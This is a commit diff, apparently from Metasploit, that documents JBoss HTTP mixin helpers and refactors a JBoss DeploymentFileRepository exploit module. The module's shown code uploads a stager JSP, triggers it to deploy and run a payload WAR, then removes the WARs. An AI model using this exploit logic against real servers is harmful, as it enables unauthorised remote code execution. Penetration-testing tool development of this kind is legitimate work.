Added YARD doc to the mixin

Also make a slight correction on jboss_deployementfilerepository.rb to
handle nil responses.

Author: us3r777

lib/msf/http/jboss/base.rb

@@ -47,6 +47,10 @@ def http_verb
   end
 
 
+  # Try to auto detect the target architecture and platform
+  #
+  # @param [String] The available targets
+  # @return [Msf::Module::Target, nil] The detected target or nil
   def auto_target(available_targets)
     if http_verb == 'HEAD' then
       print_status("Sorry, automatic target detection doesn't work with HEAD requests")
@@ -72,6 +76,9 @@ def auto_target(available_targets)
     return java_targets[0]
   end
 
+  # Query the server information from HtmlAdaptor
+  #
+  # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
   def query_serverinfo
     path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
     res = send_request_cgi(
@@ -94,6 +101,8 @@ def query_serverinfo
   end
 
   # Try to autodetect the target platform
+  #
+  # @return [String, nil] The target platform or nil
   def detect_platform(res)
     if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
       os = $1
@@ -110,6 +119,8 @@ def detect_platform(res)
   end
 
   # Try to autodetect the target architecture
+  #
+  # @return [String, nil] The target architecture or nil
   def detect_architecture(res)
     if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
       arch = $1

lib/msf/http/jboss/deployment_file_repository.rb

@@ -3,6 +3,11 @@
 module Msf::HTTP::JBoss::DeploymentFileRepository
 
   # Upload a text file with DeploymentFileRepository.store()
+  #
+  # @param base_name [String] The destination base name
+  # @param jsp_name [String] The destanation file name
+  # @param content [String] The content of the file
+  # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
   def upload_file(base_name, jsp_name, content)
     params =  { }
     params.compare_by_identity
@@ -35,6 +40,11 @@ def upload_file(base_name, jsp_name, content)
   end
 
   # Delete a file with DeploymentFileRepository.remove().
+  #
+  # @param folder [String] The destination folder name
+  # @param name [String] The destination file name
+  # @param ext [String] The destination file extension
+  # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
   def delete_file(folder, name, ext)
     params =  { }
     params.compare_by_identity

modules/exploits/multi/http/jboss_deploymentfilerepository.rb

@@ -144,45 +144,44 @@ def exploit
       end
     end
 
-
-    # Call the stager to deploy the payload war file
     # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
     # but the file still gets written.
-    if (res.code == 200 || res.code == 500)
-      print_status("Calling stager to deploy the payload warfile (might take some time)")
-      stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
-      stager_res = deploy('uri' => stager_uri,
-                          'method' => 'GET')
-
-      print_status("Try to call the deployed payload")
-      # Try to execute the payload by calling the deployed WAR file
-      payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
-      payload_res = deploy('uri' => payload_uri)
-
-      #
-      # DELETE
-      #
-      # The WAR can only be removed by physically deleting it, otherwise it
-      # will get redeployed after a server restart.
-      print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
-      print_status("This might take some time, be patient...") if http_verb == "HEAD"
-      delete_res = []
-      if head_stager_jsp_name
-        delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
-      end
-      delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
-      delete_res << delete_file('./', stager_base + '.war', '')
-      delete_res << delete_file('./', app_base + '.war', '')
-      delete_res.each do |res|
-        if !res
-          print_warning("WARNING: Unable to remove WAR [No Response]")
-        elsif (res.code < 200 || res.code >= 300)
-          print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
-        end
+    unless res && ( res.code == 200 || res.code == 500)
+      fail_with(Failure::Unknown, "Failed to deploy")
+    end
+
+    print_status("Calling stager to deploy the payload warfile (might take some time)")
+    stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
+    stager_res = deploy('uri' => stager_uri,
+                        'method' => 'GET')
+
+    print_status("Try to call the deployed payload")
+    # Try to execute the payload by calling the deployed WAR file
+    payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
+    payload_res = deploy('uri' => payload_uri)
+
+    #
+    # DELETE
+    #
+    # The WAR can only be removed by physically deleting it, otherwise it
+    # will get redeployed after a server restart.
+    print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
+    print_status("This might take some time, be patient...") if http_verb == "HEAD"
+    delete_res = []
+    if head_stager_jsp_name
+      delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
+    end
+    delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
+    delete_res << delete_file('./', stager_base + '.war', '')
+    delete_res << delete_file('./', app_base + '.war', '')
+    delete_res.each do |res|
+      if !res
+        print_warning("WARNING: Unable to remove WAR [No Response]")
+      elsif (res.code < 200 || res.code >= 300)
+        print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
       end
 
       handler
     end
   end
-
 end